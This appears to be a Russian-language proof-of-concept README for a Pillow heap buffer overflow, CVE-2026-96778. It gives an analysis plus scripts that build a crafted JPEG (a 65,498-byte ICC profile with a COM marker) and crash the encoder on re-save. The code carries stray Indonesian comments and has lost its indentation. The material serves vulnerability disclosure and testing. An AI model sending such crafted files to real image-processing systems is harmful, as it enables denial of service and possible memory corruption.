Концепция доказательства и технический анализ CVE-2026-96778 — переполнение буфера в куче в JPEG-кодировщике Pillow, возникающее при повторном сохранении из-за ICC-профиля вместе с маркером COM.
Этот репозиторий содержит Proof of Concept (PoC), доказательство воспроизведения и технический анализ для CVE-2026-96778 — переполнения буфера в куче (heap buffer overflow) в библиотеке Pillow (Python Imaging Library).
Краткое резюме: Повторное сохранение JPEG-изображения, содержащего профиль ICC точного размера и комментарий (COM-маркер), приводит к записи за пределы буфера энкодера размером 65 536 байт, повреждению метаданных кучи и потенциально к отказу в обслуживании (denial of service, crash) вплоть до выполнения кода.
| Поле | Значение |
|---|---|
| CVE ID | CVE-2026-96778 |
| Компонент | src/libImaging/JpegEncode.c — ImagingJpegEncode() |
| Уязвимая точка | Строка 282 (jpeg_write_marker для COM-маркера) |
| Тип | Переполнение буфера в куче (CWE-122) |
| Затронутый диапазон | Pillow 9.4.0 – <13.0.0 |
| Исправлено в | Pillow 13.0.0 |
| Воздействие | DoS (SIGSEGV/SIGABRT), потенциальный RCE |
| Вектор | Локальный / взаимодействие пользователя (открытие и повторное сохранение изображения) |
| Рекомендация | GHSA-g7cr-3p24-7wf7 |
JpegImagePlugin._save() вычисляет размер выходного буфера только исходя из
exif и extra (профиль ICC), не оставляя места для комментария._encode_to_file() (src/encode.c:186) выделяет буфер
MAXBLOCK = 65 536 байт.free_in_buffer == 0.jpeg_write_marker() для записи COM-маркера
(JpegEncode.c:282) libjpeg сначала записывает 1 байт, а
затем уменьшает счётчик size_t free_in_buffer.ENCODER_BUFFER = 65536 # ImageFile.MAXBLOCK
JFIF_HEADER = 20 # SOI + APP0 (ditulis jpeg_start_compress)
ICC_OVERHEAD = 18 # FFE2 <len> "ICC_PROFILE\0" <seq> <count>
ICC_PAYLOAD = 65536 - 20 - 18 = 65498 # tepat penuh
С ICC_PAYLOAD = 65498 буфер заполняется ровно до последнего байта.
Добавление COM-маркера (любой длины, 1–65533 байта) вызывает переполнение.
Максимально допустимый комментарий (65.533 байта) заставляет переполнение записывать большое количество данных, поэтому сбой более детерминирован. Небольшой комментарий (например, 32 байта) всё ещё вызывает Invalid write в Valgrind, но не обязательно приводит к сбою в обычной среде выполнения (зависит от раскладки кучи и аллокатора).
| Компонент | Значение |
|---|---|
| ОС | Ubuntu Linux x86_64 |
| Ядро | Linux 6.x |
| Python | 3.12.3 |
| Valgrind | 3.22.0 |
| libjpeg | 8.2.2 (/usr/lib/x86_64-linux-gnu/libjpeg.so.8.2.2) |
| Компилятор | gcc 13.3.0 |
| Тестируемый Pillow | 9.4.0, 9.5.0, 13.0.0 |
| Источник Pillow | сборка из исходников (pip install -e .) |
make_trigger.py — Генератор JPEG-триггераСоздание trigger.jpg с ICC-профилем размером 65 498 байт и COM-маркером.
from PIL import Image
import io, struct
im = Image.new("RGB", (16, 16), (255, 0, 0))
buf = io.BytesIO()
im.save(buf, "JPEG", quality=90)
base_jpeg = buf.getvalue()
icc_data = b"\x00" * 65498
icc_header = b"ICC_PROFILE\x00" + bytes([1, 1])
app2_payload = icc_header + icc_data
def make_app2(payload):
length = len(payload) + 2
return b"\xFF\xE2" + struct.pack(">H", length) + payload
def make_com(comment: bytes):
length = len(comment) + 2
return b"\xFF\xFE" + struct.pack(">H", length) + comment
assert base_jpeg[:2] == b"\xFF\xD8"
trigger = base_jpeg[:2] + make_app2(app2_payload) + make_com(b"X" * 32) + base_jpeg[2:]
with open("trigger.jpg", "wb") as f:
f.write(trigger)
print("trigger.jpg dibuat:", len(trigger), "byte")
repro_cve.py — Воспроизведение, совместимое с Valgrindfrom PIL import Image
im = Image.open("trigger.jpg")
print("Ukuran:", im.size, "format:", im.format)
print("Punya ICC:", "icc_profile" in im.info)
print("Punya komentar:", "comment" in im.info)
im.save("out.jpg", "JPEG", icc_profile=im.info.get("icc_profile"))
print("Selesai menyimpan ulang.")
Запуск с Valgrind:
python3 make_trigger.py
valgrind --error-exitcode=1 python3 repro_cve.py 2> valgrind.log
poc_advisory.py — Эталонный PoC (Обнаружение сбоя)На основе официального advisory GHSA-g7cr-3p24-7wf7.
Выполняет im.save() в дочернем процессе и проверяет статус завершения
(отрицательный = завершён сигналом).
#!/usr/bin/env python3
# Pillow heap buffer overflow in ImagingJpegEncode() (JpegEncode.c, case 4).
import random, struct, subprocess, sys
from io import BytesIO
from PIL import Image
ENCODER_BUFFER = 65536
JFIF_HEADER = 20
ICC_OVERHEAD = 18
ICC_PAYLOAD = ENCODER_BUFFER - JFIF_HEADER - ICC_OVERHEAD # 65498
COMMENT = b"C" * 65533
RESAVE = """
import sys
from io import BytesIO
from PIL import Image
im = Image.open(BytesIO(sys.stdin.buffer.read()))
im.save(BytesIO(), "JPEG", icc_profile=im.info["icc_profile"])
print("save returned normally")
"""
def segment(marker, payload):
return bytes([0xFF, marker]) + struct.pack(">H", len(payload) + 2) + payload
def make_jpeg(with_comment):
noise = random.Random(1234).randbytes(256 * 256 * 3)
out = BytesIO()
Image.frombytes("RGB", (256, 256), noise).save(out, "JPEG", quality=95)
plain = out.getvalue()
icc = segment(0xE2, b"ICC_PROFILE\0\x01\x01" + b"I" * ICC_PAYLOAD)
com = segment(0xFE, COMMENT) if with_comment else b""
return plain[:2] + icc + com + plain[2:]
def resave(jpeg):
cmd = [sys.executable, "-X", "faulthandler", "-c", RESAVE]
r = subprocess.run(cmd, input=jpeg, capture_output=True)
print((r.stdout + r.stderr).decode(errors="replace").strip())
print(f"-> exit status {r.returncode}")
return r.returncode
print("Control: re-save the JPEG without a comment")
resave(make_jpeg(with_comment=False))
print(f"\nPoC: re-save the JPEG with a {len(COMMENT)}-byte comment")
rc = resave(make_jpeg(with_comment=True))
if rc < 0:
print(f"\nim.save() killed the process with signal {-rc}: out-of-bounds heap write")
print("BUG")
else:
print("OK")
| Версия Pillow | Источник импорта | Valgrind | PoC advisory | Статус |
|---|---|---|---|---|
| 9.4.0 | /mnt/Pillow/src/PIL | Invalid write ×5 + повреждение кучи | BUG (SIGSEGV) | УЯЗВИМ |
| 9.5.0 | /mnt/Pillow/src/PIL | Invalid write ×5 + повреждение кучи | BUG (SIGSEGV) | УЯЗВИМ |
| 13.0.0 | /mnt/Pillow-13/src/PIL | 0 errors | OK | БЕЗОПАСЕН |